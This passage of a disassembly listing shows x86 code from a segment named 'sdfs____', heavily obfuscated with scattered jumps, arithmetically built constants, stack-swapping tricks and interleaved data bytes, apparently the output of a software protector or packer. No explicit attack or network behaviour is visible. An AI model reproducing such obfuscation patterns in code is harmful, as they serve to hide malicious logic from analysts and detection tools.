		add	esp, 4
		add	ebx, 644B1A2Eh
		sub	ebx, ecx
		push	edx
		mov	edx, 596A1A0Ch
		jmp	loc_5935E5
; ---------------------------------------------------------------------------
		dd 8B03885Dh, 8951241Ch, 4BD55E1h, 1000000h, 0C1815DE9h
		dd 4, 5C240C87h, 77ACE9h, 25E95800h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D43F:				; CODE XREF: sdfs____:0058D169j
		push	eax
		mov	eax, 4502F3Eh
		shl	eax, 3
		sub	eax, 31400315h
		jmp	loc_591E39
; ---------------------------------------------------------------------------


loc_58D452:				; CODE XREF: sdfs____:00595C45j
		add	ebp, 4D0CC23h
		jmp	loc_58C373
; ---------------------------------------------------------------------------


loc_58D45D:				; CODE XREF: sdfs____:00597B1Cj
		add	edi, 23DD538Dh
		add	edi, ebx
		push	ebx
		mov	ebx, 6AEC028Eh
		add	ebx, 188F3EC4h
		add	ebx, 0A062123Bh
		sub	edi, ebx
		pop	ebx
		jmp	loc_598B9B
; ---------------------------------------------------------------------------


loc_58D47F:				; CODE XREF: sdfs____:0058C375j
		pop	ebp
		add	ebx, 45D1232Fh
		shl	ebx, 4
		jmp	loc_58F1FC
; ---------------------------------------------------------------------------


loc_58D48E:				; CODE XREF: sdfs____:0059340Aj
		neg	esi
		push	ebp
		mov	ebp, 6280666Bh
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5915F9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 14D36659h, 12E99C24h, 89FFFFE5h, 15B5DEFh
		dd 2434FFF8h, 0E089505Fh, 405h,	3F9CE900h, 0E95F0000h
		dd 0FFFFF6FBh, 372C8468h, 0EB815B0Dh, 18D570C1h, 67BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D4E1:				; CODE XREF: sdfs____:005942B4j
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_59725B
; ---------------------------------------------------------------------------
		db 88h,	0D8h, 88h
		dd 24048BC5h, 4C481h, 0E9500000h, 18E2h
; ---------------------------------------------------------------------------


loc_58D500:				; CODE XREF: sdfs____:00595CA4j
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_58F173
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0F603E1C0h, 0ECE980D1h, 20C568h, 24148900h, 0EEC0B3B6h
		dd 12C68005h, 285AF128h, 815959C8h, 2ECh, 2FCEE900h, 0BD550000h
		dd 0E1A6CCCh, 1C8B0F4Dh, 0F7000011h, 9840FDDh, 450000B5h
		dd 385CE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D555:				; CODE XREF: sdfs____:00595B63j
		or	esi, 5C7957C6h
		sub	esi, 31791074h
		jmp	loc_590846
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0BE68665Ch, 1C896644h, 30BAB324h,	1C8B66D8h
		dd 8314E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D582:				; CODE XREF: sdfs____:005973E4j
		add	esi, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58CB52
; ---------------------------------------------------------------------------
		dd 264A68h, 242C8900h, 1F18EC68h, 2434FF53h, 4C4815Dh
		dd 57000000h, 702BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D5B9:				; CODE XREF: sdfs____:00594D75j
		not	esi
		push	eax
		jmp	loc_5959A2
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 38h
aSsu		db 'Séu',9,0
		align 2
a1SS		db '1Ú隘',0
		dd 240C8900h, 52D48850h, 73A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D5DD:				; CODE XREF: sdfs____:00593220j
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		push	1F63h
		jmp	loc_59098B
; ---------------------------------------------------------------------------


loc_58D610:				; CODE XREF: sdfs____:00592702j
		xor	[esp], edi
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5957EE
; ---------------------------------------------------------------------------


loc_58D625:				; CODE XREF: sdfs____:0058F403j
		or	esi, 1BB73311h
		jmp	loc_5987F3
; ---------------------------------------------------------------------------


loc_58D630:				; CODE XREF: sdfs____:0058C3F1j
		pop	ecx
		xor	ecx, 4E177480h
		jnz	loc_5948DB
		not	ecx
		neg	ecx
		jnz	loc_59553C
		pop	ebp
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_58F512
; ---------------------------------------------------------------------------
		dw 0D804h
		dd 0A3043604h, 4EC81h, 0B8E90000h, 0F70000AAh, 92CFE9D8h
		dd 0EB800000h, 92C68001h, 0EE80DE28h, 241C8B92h, 4C481h
		dd 0F0280000h, 0FFE64EE9h, 0C8B66FFh, 84E95324h, 8B00005Eh
		dd 0C483241Ch, 84D8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D69E:				; CODE XREF: sdfs____:005966ECj
		add	edx, 4
		push	ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_593BC7
; ---------------------------------------------------------------------------
aQSst_		db 'QµÀSéT.',0
		dw 100h
		dd 0C80159C8h, 9E0E432Dh, 18D3E94Fh, 0BA520000h, 36B329CEh
		dd 0E95AD721h, 1458h, 9C2424D3h, 0FFE2DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D6E9:				; CODE XREF: sdfs____:00592A46j
		pop	eax
		push	edx
		push	edi
		mov	edi, 0DC17751h
		inc	edi
		jno	loc_5977D8
		or	edi, 69186677h
		mov	ah, 9Ah
		pop	ebx


loc_58D702:				; CODE XREF: sdfs____:0059391Fj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5981E4
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 44F577AAh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_594089
; ---------------------------------------------------------------------------


loc_58D728:				; CODE XREF: sdfs____:0058E5FFj
		mov	ebx, 4B195F78h
		dec	ebx
		not	ebx
		push	esi
		mov	esi, 4AAE0EE0h
		and	ebx, esi
		pop	esi
		xor	ebx, 0A600A4h
		jmp	loc_5976FE
; ---------------------------------------------------------------------------


loc_58D744:				; CODE XREF: sdfs____:0059706Bj
		mov	[esp], ebp
		push	ebx
		jmp	loc_5957CE
; ---------------------------------------------------------------------------


loc_58D74D:				; CODE XREF: sdfs____:00593818j
		shl	ebx, 6
		push	edi
		mov	edi, 5758763Fh
		and	edi, 744B4DF4h
		add	edi, 0F837C6D0h
		add	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		sub	esi, 50FE07C6h
		jmp	loc_597AA0
; ---------------------------------------------------------------------------


loc_58D779:				; CODE XREF: sdfs____:00597D49j
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5966F1
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 9A04E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D79E:				; CODE XREF: sdfs____:0058EDA4j
					; sdfs____:005984D1j
		sub	ecx, 4C094209h
		jnp	loc_59678D
		xor	ecx, 0DB34B7B1h
		mov	edi, ecx
		jmp	loc_590FE7
; ---------------------------------------------------------------------------
aN1So		db '­1ØéŽ`',0
		dw 8100h
		dd 0B6D3B4F7h, 0E9FD89A3h, 13A5h
; ---------------------------------------------------------------------------


loc_58D7CC:				; CODE XREF: sdfs____:00597AA8j
		and	edx, 700405F6h
		shr	edx, 8
		xor	edx, 367018F9h
		not	edx
		jmp	loc_5965E3
; ---------------------------------------------------------------------------


loc_58D7E2:				; CODE XREF: sdfs____:00598797j
		xor	esi, 1C6A70E6h
		jns	loc_58D15D
		not	esi
		push	ebx
		jmp	loc_596C2C
; ---------------------------------------------------------------------------
aBSsKsJ		db 'êèsÉk鼆',0
		db 0
; ---------------------------------------------------------------------------


loc_58D801:				; CODE XREF: sdfs____:00597E1Dj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 24h
		sub	esp, 4
		jmp	loc_5954DE
; ---------------------------------------------------------------------------
aIcs_v		db '‰çé.‚',0
		align 2
		dw 0E389h
		dd 4C381h, 0C3810000h, 4, 8FCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D831:				; CODE XREF: sdfs____:00596F65j
		pop	ebp
		jmp	loc_593857
; ---------------------------------------------------------------------------
aBcmna1sS	db 'ç¬ní1éÜ‘',0
		align 2


loc_58D842:				; CODE XREF: sdfs____:00596416j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59005E
; ---------------------------------------------------------------------------
aVst5		db 'Vét5',0
		align 2
		dw 0F65Ch
		dd 0B60F66F1h, 309368CCh, 0CDE90000h, 54000015h, 5324048Fh
		dd 0AE97E9h, 0BAEA8100h, 117470Dh, 0BAC281C2h, 5817470Dh
		dd 5C241487h, 3E4F68h, 7A1FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D892:				; CODE XREF: sdfs____:00596331j
		mov	esi, edi
		pop	edi
		jmp	loc_58F270
; ---------------------------------------------------------------------------


loc_58D89A:				; CODE XREF: sdfs____:005919F5j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58D89F:				; CODE XREF: sdfs____:0058D0A4j
		dec	edx
		add	edx, 0F230B8Fh
		add	edx, 4B9C67D3h
		xor	edx, 0A88A1706h
		or	ebp, edx
		pop	edx
		sub	ebp, 74AF0A39h
		xor	ebp, 5BC83E76h
		xor	edi, ebp
		jmp	loc_595123
; ---------------------------------------------------------------------------
		dd 875FFE01h, 665C2434h, 6824048Bh, 0E4Ah, 0FFEABCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D8DD:				; CODE XREF: sdfs____:0059586Dj
		xchg	eax, [esp]
		pop	esp
		pop	eax
		push	esi
		mov	esi, 57B652E1h
		xor	eax, esi
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58E9A7
; ---------------------------------------------------------------------------


loc_58D8F9:				; CODE XREF: sdfs____:loc_595001j
		sub	ecx, 3439F20h
		jmp	loc_596F84
; ---------------------------------------------------------------------------
		dd 9797D7F7h, 53C8EF81h, 8A0F0EA1h, 0A965h, 72E781h, 8A0F6563h
		dd 971Bh, 7773E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D925:				; CODE XREF: sdfs____:0058D0DEj
					; sdfs____:0059196Ej
		push	ebx
		mov	ebx, 83D9C6h
		xor	ecx, ebx
		pop	ebx
		add	edi, ecx
		jmp	loc_58F86D
; ---------------------------------------------------------------------------


loc_58D935:				; CODE XREF: sdfs____:005946D7j
		add	bl, 88h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	0BA1h
		mov	[esp], eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58D94B:				; CODE XREF: sdfs____:00591DB4j
		add	edx, ebx
		sub	edx, 40F0350Bh
		sub	edx, 11680CA5h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_58F3DB
; ---------------------------------------------------------------------------
aA_0		db '´"€ì',0
		dw 0E500h
		dd 277FE9h, 0A2EB8100h,	8132634Dh, 8112C4C3h, 81C30176h
		dd 8112C4EBh, 0A2C38176h, 5132634Dh, 3133F2B9h,	99C8E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D99A:				; CODE XREF: sdfs____:00596698j
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4


loc_58D9A7:				; CODE XREF: sdfs____:0058CCE5j
		push	ebx
		jmp	loc_58FF1B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C481h, 0BE560000h, 4, 3FC1EF81h, 0E0E95F9Ah, 89000025h
		dd 0DF2958C3h, 412FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D9D1:				; CODE XREF: sdfs____:0058C222j
		mov	edi, 5886EE0h
		xor	edi, 6AD115ECh
		sub	edi, 4B483E72h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_592D01
; ---------------------------------------------------------------------------


loc_58D9EF:				; CODE XREF: sdfs____:0058BED2j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6B146C93h
		jmp	loc_590CC3
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 4247401h,	242C8B5Eh, 0E904C483h, 6926h
; ---------------------------------------------------------------------------


loc_58DA14:				; CODE XREF: sdfs____:0058DC2Ej
		mov	ebp, 2
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_595796
; ---------------------------------------------------------------------------
		db 68h
		dd 2A1Dh, 0B1240C89h, 59CB8813h, 0C004EBC0h, 0F38003EBh
		dd 0EFB55162h, 57E0E9h,	0E9516600h, 3794h
; ---------------------------------------------------------------------------


loc_58DA54:				; CODE XREF: sdfs____:0059499Fj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58DC14
; ---------------------------------------------------------------------------
aB_SA		db 'É.{Æ!éÇ',0
		dw 8100h
		dd 0AF3419CEh, 21C6815Eh, 29DC24A6h, 50E95EF3h,	5C000009h
		dd 0B8240489h, 4, 22CEE981h, 0C1014D99h, 22CEC181h, 68584D99h
		dd 591h, 0B8240489h, 4,	8758C101h, 4FE9240Ch
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DAB7:				; CODE XREF: sdfs____:00596111j
		pop	ecx
		jmp	loc_59013E
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0Bh
		dd 8134E27Ah, 52F27FC6h, 5EF021FFh, 7C7F5735h, 7B6C2D1Dh
		dd 0C7011D6Eh, 243C8758h, 1825E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DAE1:				; CODE XREF: sdfs____:00592328j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	261B2977h
		pop	ebx
		jmp	loc_593A38
; ---------------------------------------------------------------------------
		db 58h
		dd 15B6E952h, 0E95E0000h, 3BC5h, 240C8B66h, 0E904EC83h
		dd 91FCh
; ---------------------------------------------------------------------------


loc_58DB1C:				; CODE XREF: sdfs____:0058C330j
		inc	edx
		jp	loc_58C613
		not	edx
		inc	edx
		xor	edx, 8189BB91h
		jmp	loc_58CA3C
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 8Eh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DB37:				; CODE XREF: sdfs____:00597E88j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58C37A
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CB010000h, 89E2E9h,	24148900h, 0C281E289h, 4, 8704C283h
		dd 875C2414h, 0FE5C242Ch, 0E99C2404h, 0FFFFDE55h
; ---------------------------------------------------------------------------


loc_58DB70:				; CODE XREF: sdfs____:0058BD00j
		pop	dword ptr [edx+30h]
		mov	ecx, [esp]
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFDE44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58DB81:				; CODE XREF: sdfs____:0058CDBFj
		push	edx
		mov	edx, 37DF1E32h
		push	edx
		jmp	loc_596F40
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0C3h
		dd 9890C88h, 0C3815DEBh, 2D52353Ah, 513F381h, 0DA016AF2h
		dd 2414875Bh, 8124248Bh, 0F43967E3h, 67C38117h,	0E9309E7Fh
		dd 2570h, 0E700ACB4h, 0ABFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58DBC5:				; CODE XREF: sdfs____:00593D8Bj
		pop	esp
		jmp	loc_58C35E
; ---------------------------------------------------------------------------


loc_58DBCB:				; CODE XREF: sdfs____:0058C070j
		xor	edx, 772F3F16h
		xor	ecx, edx
		jmp	loc_58E91C
; ---------------------------------------------------------------------------
aS_4		db '[é',0Ah
		db '±',0
		align 2


loc_58DBDE:				; CODE XREF: sdfs____:00597F75j
		xor	edx, ecx
		pop	ecx
		jmp	loc_59448E
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 223C350Ah, 37AFF781h, 0FD2935EAh, 0FFDE2AE9h, 1C77FFFFh
		dd 1058669Dh, 0E99C2404h, 0FFFFDDBDh, 4C48158h,	0E9000000h
		dd 1AEAh
; ---------------------------------------------------------------------------


loc_58DC14:				; CODE XREF: sdfs____:0058DA63j
		push	edx
		jmp	loc_596701
; ---------------------------------------------------------------------------
		dw 0F65Bh
		dd 0E9D8F6D0h, 5957h
; ---------------------------------------------------------------------------


loc_58DC24:				; CODE XREF: sdfs____:005965EBj
		pop	edx
		jmp	loc_59847F
; ---------------------------------------------------------------------------


loc_58DC2A:				; CODE XREF: sdfs____:0058F868j
		add	ebx, esi
		pop	esi
		push	ebp
		jmp	loc_58DA14
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 58E95524h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DC3F:				; CODE XREF: sdfs____:0058E4B4j
		add	esp, 4
		push	0C85h
		mov	[esp], ecx
		mov	cl, 92h
		shl	cl, 3
		and	cl, 7Eh
		add	cl, 0FFh
		xor	cl, 8
		sub	bl, 46h
		sub	bl, cl
		push	edx
		mov	dl, 0D8h
		sub	dl, 92h
		add	bl, dl
		pop	edx
		pop	ecx
		jmp	loc_5975AC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240411h, 0FFDD48E9h, 0E3815BFFh, 61165B97h
		dd 59A7880Fh, 0D3F70000h, 4A65E381h, 0EB811EB8h, 1EB84A5Dh
		dd 15BDA89h, 24148BD1h,	5E08950h, 4, 78C4BF57h,	0B7E93202h
		dd 66000073h, 240CFE53h, 0EB805B66h, 3733E902h,	0B2520000h
		dd 5AD38895h, 0FFE47EE9h, 41E95BFFh, 29FFFFE1h,	62C5E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DCDA:				; CODE XREF: sdfs____:005937E0j
		mov	ax, [esp]
		push	edi
		push	5EE4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_592EA8
; ---------------------------------------------------------------------------


loc_58DCF3:				; CODE XREF: sdfs____:0059356Ej
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 533414AAh
		sub	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_5987B6
; ---------------------------------------------------------------------------


loc_58DD0A:				; CODE XREF: sdfs____:00591443j
		push	edi
		mov	edi, 0C9B1C98h
		inc	edi
		not	edi
		shl	edi, 3
		xor	edi, 9B271B34h
		add	ebx, edi
		pop	edi
		jmp	loc_59060A
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 1B8DB800h, 0D831218Ah, 7392685Bh, 0C890000h
		dd 0A373E924h, 3BB50000h, 5299C580h, 0EE8067B6h, 0ABF6800Eh
		dd 0ECE9F300h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58DD57:				; CODE XREF: sdfs____:005910ECj
		mov	dh, cl
		pop	ecx
		jmp	loc_59784C
; ---------------------------------------------------------------------------


loc_58DD5F:				; CODE XREF: sdfs____:0058EE59j
		mov	dl, 34h
		mov	cl, dl
		pop	dx
		xor	cl, 0Bh
		and	cl, 4
		jmp	loc_5900D0
; ---------------------------------------------------------------------------
		dd 5104C483h, 135FBB53h, 0D9896788h, 5B2434FFh,	3104C483h
		dd 2434FFCAh, 6284E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DD8E:				; CODE XREF: sdfs____:0059710Bj
		or	ebp, 276F376Eh
		shl	ebp, 4
		jmp	loc_591857
; ---------------------------------------------------------------------------


loc_58DD9C:				; CODE XREF: sdfs____:00592BD7j
		mov	[esp], edx
		push	ebp
		mov	ebp, 27386F03h
		not	ebp
		or	ebp, 4D7D1DC8h
		jle	loc_58C629
		jmp	loc_590906
; ---------------------------------------------------------------------------
		dd 74F4E9h, 3120B900h, 0F1814C21h, 2F0B4C5Dh, 0E181D1F7h
		dd 6E52516Bh, 0BE56h, 0CE290000h, 0E95EF187h, 56CDh, 4C6815Eh
		dd 0E9000000h, 26D7h
; ---------------------------------------------------------------------------


loc_58DDEC:				; CODE XREF: sdfs____:00593D65j
		push	3BE2h
		mov	[esp], ecx
		push	eax
		mov	eax, 8B24A7h
		mov	ecx, eax
		jmp	loc_58E4A3
; ---------------------------------------------------------------------------


loc_58DE01:				; CODE XREF: sdfs____:005987B7j
		mov	edi, 5DE57C18h
		jmp	loc_58CA7A
; ---------------------------------------------------------------------------


loc_58DE0B:				; CODE XREF: sdfs____:00590168j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_591771
; ---------------------------------------------------------------------------


loc_58DE20:				; CODE XREF: sdfs____:00596123j
		pop	ecx
		pop	ebx
		jmp	loc_58BEB9
; ---------------------------------------------------------------------------


loc_58DE27:				; CODE XREF: sdfs____:00598392j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0AD84116h
		push	ecx
		push	ebx
		jmp	loc_59529E
; ---------------------------------------------------------------------------


loc_58DE3B:				; CODE XREF: sdfs____:005987BEj
		mov	edi, 69AF11F6h
		mov	ebp, 69AF11FAh
		sub	ebp, 6E3662Ah
		sub	ebp, edi
		push	edi
		mov	edi, 7ABD52EDh
		add	edi, 2C213E5Fh
		jbe	loc_58C075
		not	edi
		shl	edi, 4
		jmp	loc_58CC74
; ---------------------------------------------------------------------------


loc_58DE69:				; CODE XREF: sdfs____:00598ACEj
		push	eax
		mov	al, 0BDh
		push	ebx
		mov	bl, 44h
		dec	bl
		not	bl
		jmp	loc_58FEA9
; ---------------------------------------------------------------------------
		dd 41E9E681h, 3DE938C9h, 89FFFFF3h, 4C781E7h, 83000000h
		dd 3C3304C7h, 243C3124h, 6AC2E9h, 0D3B55100h, 1662E9h
		dd 0E9525100h, 153Ch
; ---------------------------------------------------------------------------


loc_58DEA8:				; CODE XREF: sdfs____:005908D4j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 6EC24A0Ah
		and	ecx, 38E9476Eh
		jmp	loc_595A57
; ---------------------------------------------------------------------------


loc_58DEBE:				; CODE XREF: sdfs____:0059335Ej
		mov	ebp, 70B90627h
		xor	ebp, 0EAF705C3h
		jmp	loc_591A2F
; ---------------------------------------------------------------------------
aTyrh4		db 'TYRh$4',0
		align 2
		dw 0C89h
		dd 5524B924h, 28BA39F2h, 8139F255h, 764BC1EAh, 483CE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DEEE:				; CODE XREF: sdfs____:00595638j
		xchg	edx, [esp]
		jmp	loc_590E88
; ---------------------------------------------------------------------------


loc_58DEF6:				; CODE XREF: sdfs____:0058BEE3j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_594964
; ---------------------------------------------------------------------------


loc_58DF0B:				; CODE XREF: sdfs____:0058C29Cj
		mov	ecx, edi
		pop	edi
		jmp	loc_597CE3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 535AD301h, 42474FFh,	24048F5Bh, 0D324248Bh, 0E99C2404h
		dd 0FFFFDA99h
; ---------------------------------------------------------------------------


loc_58DF2C:				; CODE XREF: sdfs____:0058CF87j
		mov	esi, [esp]
		add	esp, 4
		sub	[edi+24h], eax
		pop	eax


loc_58DF39:				; CODE XREF: sdfs____:00591092j
		push	ebp
		jmp	loc_592D5E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7AE655A7h, 62EDBF57h, 7C2940B5h, 0E95F0824h,	0FFFFDB7Ah
		dd 9E87E9ADh, 0CF810000h, 1B5E1665h, 24148757h,	75D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_58DF69:				; CODE XREF: sdfs____:005927BAj
		pop	cx
		add	si, 1
		push	bp
		mov	bp, 2C02h
		xor	si, bp
		jmp	loc_596A48
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0EDh
		dd 2EF58108h, 0E9006F66h, 1262h, 138A968h, 0E2815A2Ch
		dd 68E95E03h, 0EEAF830Fh, 0EAC1FFFFh, 0C3CA8106h, 897CEC77h
		db 0DEh, 52h
; ---------------------------------------------------------------------------


loc_58DFAA:				; CODE XREF: sdfs____:00595A09j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5937E5
; ---------------------------------------------------------------------------


loc_58DFC4:				; CODE XREF: sdfs____:00591F54j
		mov	edi, 284D07F4h
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 284D07F4h
		pop	edi
		jmp	loc_58FEF5
; ---------------------------------------------------------------------------
aFSF		db 'f[é',9,'”',0
		align 10h


loc_58DFE0:				; CODE XREF: sdfs____:00594F2Dj
		push	edi
		jmp	loc_59304C
; ---------------------------------------------------------------------------
		dw 33E9h
		dd 31FFFFE7h, 116EE9C5h, 0E9500000h, 497Eh
; ---------------------------------------------------------------------------


loc_58DFF8:				; CODE XREF: sdfs____:loc_594947j
		jmp	loc_58C294
; ---------------------------------------------------------------------------


loc_58DFFD:				; CODE XREF: sdfs____:00591430j
		mov	ebx, [esp]
		add	esp, 4
		dec	ebx
		jle	loc_597DF0
		inc	ebx
		jle	loc_59013E
		push	ecx
		jmp	loc_5972E0
; ---------------------------------------------------------------------------


loc_58E01A:				; CODE XREF: sdfs____:005948F6j
					; sdfs____:005975C5j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		not	edx
		xchg	edx, [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58CBB3
; ---------------------------------------------------------------------------


loc_58E03F:				; CODE XREF: sdfs____:00598C8Bj
		sub	dword ptr [esp+4], 4E221221h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 4E221221h
		jmp	loc_58B9F5
; ---------------------------------------------------------------------------
		dd 393C8305h, 2DD8014Eh, 4E393C83h, 1BB3E9h, 0C8B6600h
		dd 0E2895224h, 0BFDE9h,	0E0C68100h, 5963254Eh, 0E9243487h
		dd 7C25h, 24042966h, 0D937E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E08E:				; CODE XREF: sdfs____:0059187Fj
		xor	edi, 3F6528A7h
		jmp	loc_59431A
; ---------------------------------------------------------------------------


loc_58E099:				; CODE XREF: sdfs____:005985B0j
		mov	edi, esp
		add	edi, 4
		jmp	loc_59260B
; ---------------------------------------------------------------------------


loc_58E0A6:				; CODE XREF: sdfs____:00596097j
		mov	[esp], eax
		mov	eax, 14FB5CC3h
		xor	eax, 14FB5CEFh
		push	eax
		add	dword ptr [esp], 4B4557B3h
		pop	ebx
		sub	ebx, 4B4557B3h
		pop	eax
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_596426
; ---------------------------------------------------------------------------
		db 5Bh,	50h, 53h
		dd 0CFB092B3h, 3FE9D830h, 87FFFFFBh, 16E92414h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E0E3:				; CODE XREF: sdfs____:0059417Fj
		jmp	loc_5946E4
; ---------------------------------------------------------------------------


loc_58E0E8:				; CODE XREF: sdfs____:0058CCFBj
		push	edx
		push	esp
		pop	edx
		jmp	loc_5930FF
; ---------------------------------------------------------------------------


loc_58E0F0:				; CODE XREF: sdfs____:00590717j
		push	esp
		pop	edi
		jmp	loc_58F7DF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2FEE81DEh, 1C5E70Dh,	0EF015EF5h, 83242C8Bh, 2C8904ECh
		dd 0E95D5424h, 47B9h
; ---------------------------------------------------------------------------


loc_58E114:				; CODE XREF: sdfs____:00595DDAj
		mov	eax, 75562F6Ah
		jmp	loc_596D75
; ---------------------------------------------------------------------------


loc_58E11E:				; CODE XREF: sdfs____:00597703j
		add	esp, 4
		mov	edx, edi
		pop	edi
		add	edx, edi
		push	3B70h
		mov	[esp], eax
		mov	eax, 2E0D59B4h
		jmp	loc_58EE77
; ---------------------------------------------------------------------------


loc_58E13B:				; CODE XREF: sdfs____:00590443j
		pop	edx
		push	2193h
		jmp	loc_5982B5
; ---------------------------------------------------------------------------


loc_58E146:				; CODE XREF: sdfs____:0059173Aj
		sub	esp, 4
		jmp	loc_5913E8
; ---------------------------------------------------------------------------


loc_58E151:				; CODE XREF: sdfs____:0058EA70j
		sub	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_593FB0
; ---------------------------------------------------------------------------
		dd 0C8B665Bh, 2C48324h,	0D8288A2Ch, 394DE952h, 0C3810000h
